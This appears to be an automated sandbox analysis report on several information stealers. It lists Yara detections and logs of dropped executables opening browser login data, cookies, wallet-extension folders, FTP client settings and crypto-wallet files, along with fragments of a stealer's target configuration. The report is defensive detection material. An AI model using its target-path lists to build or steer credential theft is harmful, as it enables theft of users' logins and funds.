Source: Yara match	File source: 00000005.00000003.2282606769.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 7349a3c308.exe PID: 7612, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 6.2.44098beb09.exe.37694e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.44098beb09.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.44098beb09.exe.3723198.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.44098beb09.exe.37694e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000D.00000003.2628315263.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2633120606.0000000002F10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2645486953.0000000002F20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2633275336.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match

File source: 6.2.44098beb09.exe.3723198.2.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 44098beb09.exe, 0000000A.00000002.2637238113.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":["*"],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\E
Source: 44098beb09.exe, 0000000A.00000002.2637238113.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash","d":0
Source: 44098beb09.exe, 0000000A.00000002.2636895993.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: 7349a3c308.exe	String found in binary or memory: "app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"
Source: 7349a3c308.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 7349a3c308.exe	String found in binary or memory: ExodusWeb3
Source: 7349a3c308.exe	String found in binary or memory: %appdata%\Ethereum
Source: 7349a3c308.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: cryptoKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
